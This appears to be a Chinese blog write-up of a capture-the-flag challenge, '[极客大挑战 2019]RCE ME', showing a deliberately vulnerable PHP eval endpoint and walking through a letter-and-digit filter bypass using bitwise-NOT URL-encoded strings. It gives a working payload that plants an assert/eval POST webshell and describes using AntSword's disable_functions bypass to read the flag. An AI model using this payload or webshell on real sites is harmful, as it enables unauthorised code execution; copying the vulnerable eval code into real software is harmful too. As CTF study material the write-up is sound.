[极客大挑战 2019]RCE ME

[极客大挑战 2019]RCE ME

1.一道无数字字母的RCE。

2.审计代码,要求传入的code长度小于40,而且没有数字大小写字母,

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

3.思路直接将命令异或或者取反即可 取反后也有带数字字母的编码,为什么就可以呢,因为取反后url进行编码会将其编码为无法识别的字符,从而绕过无字母无数字的过滤

还有为什么不能直接phpinfo()取反  

(~%8F%97%8F%96%91%99%90%D7%D6);被当作代码执行时的第一步就是取反操作 ~

但是取反得到的字符串 phpinfo()并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是 phpinfo()

<?php
$a='phpinfo';
$b=~$a;
echo urlencode($b);
?>
//得到%8F%97%8F%96%91%99%90% (~%8F%97%8F%96%91%99%90%)=phpinfo

 

 可以看到有许多命令执行函数基本都被ban掉了

 

 4.想着写一个shell进去,system被ban了还有assert,原本后门就是assert(eval($_POST(hhz)))

<?php 
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "@@@";
$c='(eval($_POST[hhz]))';
$d=urlencode(~$c);
echo $d;
 ?
运行得到%9E%8C%8C%9A%8D%8B@@@%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%97%97%85%A2%D6%D6
payload:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%97%97%85%A2%D6%D6);
传入后门后蚁剑连接,查看根目录,看到flag但是里面看不到东西,通过名字推断是通过执行 /readflag 来获取flag

 

 虽然很多函数被ban了,但是蚁剑正好有一个绕过disable_functions的插件,右键url地址

 

选择模式,然后点开始

 

 输入/readflag得到flag

 

 

posted @ 2022-06-29 16:41  L0VEhzzz  阅读(721)  评论(4编辑  收藏  举报